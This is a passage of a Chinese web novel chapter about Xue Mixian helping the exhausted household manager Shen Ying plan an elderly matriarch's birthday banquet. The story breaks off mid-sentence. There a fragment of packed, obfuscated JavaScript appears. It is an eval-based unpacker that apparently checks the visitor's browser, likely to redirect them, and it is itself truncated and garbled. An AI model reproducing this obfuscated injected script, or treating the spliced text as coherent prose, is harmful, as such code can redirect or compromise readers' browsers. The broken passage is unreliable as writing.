5. 愧对
    ……

    薛宓娴原本只是想小憩,可她埋在床榻上,一睡就是许久。

    再次睁开眼睛的时候,屋外日光换了新,鸟雀的鸣叫声在春日跃动,清风抚过薄纱帐幔,送来若隐若现的第一缕花香。

    许是因为昨日程老夫人的话,尽管她反常地贪睡,但也没有人说什么闲话,甚至起身后,蕴娘还端来了一碗安神汤。

    白瓷的小汤勺搅动着,薛宓娴看见程菩所赠的平安玉,再思及江昀,忍不住想要叹气,但又觉得自己不应该如此消极,便忍了回去。

    蕴娘与她朝夕相伴,对异样的情绪很是敏锐:

    “姑娘,在想什么?”

    低垂的睫羽轻轻颤动,薛宓娴没有回答。

    午后,沈楹那边来了人,请她过去小坐。

    离程老夫人的寿宴还有段时日,按理来说,应该也不难张罗。

    今年过的生辰不是整数,加之又有往常的例子在,只不过按照人数,酌情增减用度罢了。

    但是,届时程老爷会请几位友人来府上叙旧,也是要一起参加寿宴的。可老夫人又特意吩咐,不许办得太铺张浪费。

    其中的这个度,自然就要重新定夺。

    还有江昀,他虽是旁支亲戚,但如今成了程菩的恩人,在府上借宿,身份特殊,少不得要把他的份例也一并算上。

    光是想想这些事儿,薛宓娴就有些头疼。

    步入室内,沈楹面前放着账本,纤长的手指拨弄着算珠。

    见要找的人来了,她也是抬眸一瞥,而后又低下头:

    “妹妹先坐。”

    薛宓娴一直觉得,沈楹有成大事的潜能。待在程家后宅,实在是辱没了她的才识。

    她出身大族,琴棋书画,样样精通。作为程府实际上的当家主母,府上婢女小厮,婆子家丁,全部都归她管。

    至于年节家宴的筹备,从人员调动到细枝末节的布置,也几乎是沈楹一人独揽全局。

    除此之外,诗词歌赋,沈楹也不逊于那些书生分毫。曾经为丈夫程荇代笔所写的文章,至今仍为人称道。

    提笔在账目上落下批注,沈楹起身走过来,缓缓坐在软榻的另一侧,抿了一口茶:

    “老太太的寿宴,我已是有些眉目。只是,这次要考虑周全的事项多,我一个人恐怕顾不上。”

    “所以,少不得请妹妹与我一同张罗。”

    交流越多,薛宓娴便越发敬佩沈楹。

    家中大小事宜,支出收入的银两,沈楹都记得清清楚楚。

    即便是一时拿捏不准的,她也决不会说“大概”、“或许”这样模棱两可的词,只是先按下待定,让薛宓娴先记着,等核对好了再算到账上。

    纸墨未干,薛宓娴搁下笔,刚想开口说点什么——

    只见沈楹左手支肘扶额,撑在案边,广袖顺着白皙的小臂缓缓滑落下来,手中握着的礼单垂放在腿上,呼吸平稳绵长,已然睡去。

    她实在是用了太多脂粉遮掩,至少,目的是达到了。如果不凑近仔细打量,很难看出眼下那片因未曾休息好而导致的浅浅乌青。

    沈楹的贴身侍女霜娘走了进来,尚未看见自家夫人的模样,本能地开口道:

    “夫人,三姑娘来了。她说……”

    薛宓娴起身,竖起一根手指,轻轻地摇了摇头,无声地比划道:

    别吵着她。

    我们出去说。

    ……

    才不过走到院中,便有一团鹅黄色的影子朝着薛宓娴扑了过来,直直撞入她的怀里:

    “薛姐姐!”

    来人正是程府的三姑娘,程菩的幺妹,程茹。

    小姑娘年纪不过十一二岁左右,面容白净,明眸皓齿,很招人喜欢。

    程茹紧紧抱着薛宓娴

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,2

本章未完,请点击下一页继续阅读>>